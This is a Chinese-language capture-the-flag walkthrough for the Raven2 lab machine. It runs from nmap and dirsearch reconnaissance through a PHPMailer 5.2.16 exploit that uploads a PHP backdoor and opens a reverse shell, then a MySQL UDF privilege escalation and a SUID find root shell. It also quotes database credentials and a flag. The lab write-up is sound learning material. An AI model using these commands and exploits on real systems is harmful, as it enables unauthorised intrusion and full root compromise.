Raven2

1. 信息收集

nmap:扫描主机存活

nmap -sn 192.168.203.0/24

可以看到靶机地址为192.168.203.131

nmap 192.168.203.131

也可以使用·:nmap --min-rate 10000 -p- x.x.x.x

查看开放服务

开放服务如上图:访问80端口http服务,是一个前端页面,使用dirsearch 扫描后台

可疑目录如下图,访问具有一定大小的目录,/vendor/

访问目录具有许多文件,这也是一个漏洞,叫做目录遍历

一个一个访问之后发现flag1

2. 拿shell

接着我们需要知道它这个网站是有什么构成,以此可以让我们打开突破口

访问到contact目录,发现具有发邮件的功能

查看到PHPMailer这个目录,发现邮件功能是PHPMailer提供的,它算是一个cms,我们使用kali查看是否具有这个的nday

searchsploit PHPMailer有这个版本漏洞

接下来可以利用相关版本,我们的版本是 5.2.16

locate 文件名

使用 cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root

复制到root的根目录,然后使用vim 改一下文件信息

本机的是后面用来弹shell的,改完信息后,使用python启动该脚本。

它就会上传一个木马文件tan.php,使用nc开启监听4444端口,并且访问tan.php就会弹shell

访问弹shell

这个命令行过于限制,不能直观感受所以使用python命令产生交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

接下来我们要继续寻找flag

使用find / -name flag* 批量寻找筛选和flag相关的文件

找到啦flag2 flag3

/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png

flag3访问一下就行了

/var/www/flag2.txt

由下图看可以知道,我们是普通用户,接下来是重要的步骤,提权

3.数据库创函数

我们使用ls查看当前文件内容后,发现这个wordpress目录,这个目录是

WordPress 是一个开源的内容管理系统(CMS),主要使用 PHP 语言开发。它需要运行在支持 PHPMySQL 数据库的服务器上。PHP 负责处理网站的动态功能,而 MySQL 用于存储和管理网站的数据。

是个系统目录,通常会有数据库的信息,而我们在学数据提权时学过,数据库的一些关键文件是存在config,ini,等文件中,所以我们可以去找一找数据库的敏感信息。

可以看到数据库名和密码root,R@v3nSecurity

登入数据库查看

接下来使用数据库提权--------提权方式为UDF提权,利用mysql的自定义函数库udf,添加函数实现跨权限命令执行。

首先查看MySQL的版本,因为根据版本不同,来决定后面的dll文件放在什么地方

  1. select @@version

查询到版本是大于5.1的,所以dll文件放在MySQL的lib\plugin目录下。

  1. 再查看secure_file_priv 的值符不符合条件

show global variables like 'secure%';

是一个空值,则表示可以读写入文件任意位置,

再次使用kali一把梭, searchsploit udf ,查找udf漏洞,我们要找的是提权类型的

这里有两个,我们找到相近版本的,如何进行编译

  1. 先执行 gcc -g -c 1518.c
  1. 再执行 gcc -g -shared -o test.so 1518.o -lc

将编译好的目标文件 1518.o链接为一个包含调试信息、依赖 C 标准库的共享库 test.so。生成的 test.so可被其他程序(如 MySQL 加载插件时)动态调用,执行其中定义的函数

接下来要在靶机执行下载,将t.so下载才能在靶机中利用。

使用python3 -m http.server 80开启服务让靶机下载 t.so

登入数据库,创建自定义函数

**use mysql**进入mysql数据库

复制代码
create table test(line blob);

这个表用来放dll文件就是 te.so 文件

复制代码
insert into test values(load_file('/tmp/te.so'));

将操作系统中 /tmp/te.so文件的内容读取出来,存入数据库的 test表中

复制代码
select * from test into dumpfile '/usr/lib/mysql/plugin/te.so';

test表中存储的二进制数据,导出到操作系统的 /usr/lib/mysql/plugin/te.so文件中

复制代码
select * from mysql.func;

检查函数创建是否成功

复制代码
create function do_system returns integer soname 'te.so';

创建自定义函数do_system

复制代码
select do_system('chmod u+s /usr/bin/find');

给find命令赋予权限。

4.提权

退出MySQL ,在目录下创建一个文件夹

复制代码
touch test

创建test的目的是触发后面的find命令,详解如下:

  • 创建 test 文件是为了让 find 能 "找到目标":如果 test 不存在,find 会提示 "无此文件",可能不会执行后续的 -exec 操作;
  • 只需一个存在的文件即可(名称任意,test 只是举例),目的是触发 find 的 "找到文件" 状态。

    find test -exec "/bin/sh" ;

  • 具体来说:

    1. 普通用户在终端输入 find test -exec "/bin/sh" \; 时,首先启动 find 进程;
    1. 由于 find 被设置了 SUID 权限,且所有者是 root,操作系统会给 find 进程赋予 root 权限(SUID 的核心作用:执行程序时,权限提升为程序所有者的权限);
    1. find 找到 test 文件后,通过 -exec 启动 /bin/sh 进程 ------ 此时 /bin/sh 作为 find 的子进程,会继承父进程( find)的权限 ,即 root 权限;
    1. 最终用户获得的 /bin/sh 是一个具有 root 权限的交互式 shell,输入 whoami 会显示 root,输入 id 会显示 uid=0(root 的 UID),实现完全提权。

然后后面的命令就是以root的权限运行了

切换到root目录,找到flag4

flag4{df2bc5e951d91581467bb9a2a8ff4425}

至此Raven2结束

相关推荐
网安INF8 小时前
网络攻防技术:网络安全攻击概述
安全·web安全·网络安全·网络攻防
white-persist9 小时前
SQL 注入详解:从原理到实战
前端·网络·数据库·sql·安全·web安全·原型模式
嗨丶王哪跑10 小时前
网络安全审计技术原理与应用
运维·网络·安全·web安全
emma羊羊13 小时前
【文件读写】18,21关
网络安全·upload
Mr_Meng_De1 天前
AI环境下的网络安全人才的发展方向
安全·web安全
啥都不懂的小小白1 天前
密码学入门:从古典加密到现代网络安全
安全·web安全·密码学
电子科技圈1 天前
芯科科技第三代无线SoC现已全面供货
嵌入式硬件·mcu·物联网·网络安全·智能家居·智能硬件·iot
Bruce_Liuxiaowei2 天前
内网连通性判断:多协议检测方法与应用
运维·安全·网络安全
YoungLime2 天前
DVWA靶场之十六:未验证的重定向漏洞(Open HTTP Redirect)
网络·安全·web安全